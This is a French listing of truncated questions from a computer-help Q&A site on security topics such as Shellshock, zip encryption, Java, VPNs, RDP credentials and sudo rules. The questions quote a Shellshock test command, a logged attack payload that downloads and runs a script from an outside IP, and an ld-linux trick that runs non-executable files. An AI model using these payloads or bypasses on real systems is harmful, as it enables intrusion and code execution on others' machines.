La commande de test x='() { :;}; echo vulnerable' bash montre que mon installation Debian 8 (Jessie) est vulnérable, même avec les dernières mises à jour. La recherche montre qu'il existe un correctif pour stable et instable, mais que les tests ne sont pas corrigés. Je suppose que le patch sera...
Le conseil standard pendant de nombreuses années concernant la compression et le cryptage a été que la force de cryptage du zip est mauvaise. Est-ce vraiment le cas de nos jours? J'ai lu cet article sur WinZip (il a eu la même mauvaise réputation). Selon cet article, le problème est supprimé à...
Je lis que la désactivation de Java, et non de JavaScript, rendra mon ordinateur plus sûr contre les attaques de logiciels malveillants. Tout indique que cela le rendra en effet plus sûr, mais il n'y a pas de vraies raisons là-bas comme ce que je vais perdre dans l'expérience de navigation, le cas...
J'ai vu cela access.logsur mon serveur de test: > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; > perl /tmp/ji;rm -rf /tmp/ji;rm -rf...
Fermé. Cette question est hors sujet . Il n'accepte pas actuellement les réponses. Vous souhaitez améliorer cette question? Mettez à jour la question afin qu'elle soit sur le sujet pour le super utilisateur. Fermé il y a 4 ans . Existe-t-il un gestionnaire de mots de passe que je peux utiliser sur...
En lisant ceci , j'ai trouvé l'exploit suivant: % cp /usr/bin/id ~ % chmod -x ~/id % ls -al ~/id -rw-r--r-- 1 edd edd 22020 2012-08-01 15:06 /home/edd/id % ~/id zsh: permission denied: /home/edd/id % /lib/ld-linux.so.2 ~/id uid=1001(edd) gid=1001(edd) groups=1001(edd),1002(wheel) Cet extrait montre...
Aujourd'hui, j'ai remarqué que je ne pouvais pas exécuter de bookmarklets sur https://github.com/ en raison des restrictions de la politique de sécurité du contenu (CSP). Existe-t-il un moyen de désactiver CSP dans Firefox uniquement pour les bookmarklets, et pas pour le reste? J'ai remarqué le...
Compte tenu des récents problèmes d'attaques Man-in-the-Middle, j'ai en fait prêté attention à l'avertissement que je reçois lors de la connexion à un serveur: En sélectionnant Afficher le certificat , j'allais vérifier l' SHA1 empreinte : Délivré à : corsair Délivré par : corsair Valable du :...
À quoi correspond un équivalent ntrights.exesur Windows 7? J'en ai besoin pour pouvoir être exécuté à partir de la ligne de
Mon entreprise prévoit d'acheter plusieurs ordinateurs portables à des fins de démonstration dans un stand de convention. Auparavant, nous achetions toujours des ordinateurs portables dotés de fentes Kensington pour les verrous de câble typiques. Maintenant, l'ordinateur portable que nous aimons le...
Les informations d'identification du Bureau à distance enregistrées sont-elles sécurisées (à proprement parler) sur la machine locale? Ils ne sont pas stockés sous forme de texte clair, au moins, n'est-ce pas? Edit: Je comprends les risques inhérents à la sauvegarde de mots de passe. Certes, il...
Je ne ferais pas confiance à Dropbox avec mes coordonnées bancaires et autres (car il y a beaucoup de gens qui recherchent ce genre d'informations), mais est-il sûr de conserver des choses qui pourraient être précieuses pour un petit nombre de personnes? Par exemple, des informations...
J'aime vraiment ce module complémentaire HTTPS Everywhere pour Firefox. Mais j'ai tendance à faire un saut de navigateur, donc des modules complémentaires préférés HTTPS ont-ils été publiés pour les autres principaux
Étant donné que l'exploit WannaCry ransomware circule, je voulais vérifier si mon ordinateur dispose de la mise à jour de sécurité spécifique qui devrait arrêter la vulnérabilité - apparemment, MS17-010, en supposant que je comprenne la vulnérabilité et qu'il s'agisse bien du correctif correct....
Fermé . Cette question doit être plus ciblée . Il n'accepte pas actuellement de réponses. Voulez-vous améliorer cette question? Mettez à jour la question pour qu'elle se concentre sur un seul problème en modifiant ce post . Fermé il y a 2 ans . Récemment, au cours de la dernière année environ,...
Outre la question du titre, les deux technologies sont-elles compatibles? Si oui, dans quelles circonstances? Quels sont les avantages relatifs des deux
Il existe plusieurs fournisseurs de services qui permettent à un utilisateur de contourner les pare-feu ou d'anonymiser son accès Web. Certains d'entre eux utilisent des proxy, d'autres utilisent des VPN. La plupart des gens disent que les VPN fonctionnent généralement mieux que les procurations....
Quelles sont les options disponibles pour protéger par mot de passe un dossier? Je parle d'exiger un mot de passe pour accéder au dossier, pas seulement les droits d'accès des utilisateurs. Le logiciel tiers est-il sûr et stable? Quelles sont les
C'est quelque chose que je me demande depuis longtemps. Si, par exemple, j'utilise Gmail sur https, quelqu'un peut-il lire mes conversations et mes e-mails de messagerie instantanée si j'utilise un réseau sans fil non sécurisé? Je suppose que les données seraient sécurisées, car elles utilisent une...
existe-t-il un moyen simple de permettre à un utilisateur de s'exécuter (par exemple) /usr/bin/pacman -S -u en tant que root, sans lui permettre de courir /usr/bin/pacman -S -u some_package ? La ligne user ALL=(root) NOPASSWD: /usr/bin/pacman -S -u permet à la fois, et user ALL=(root) NOPASSWD:...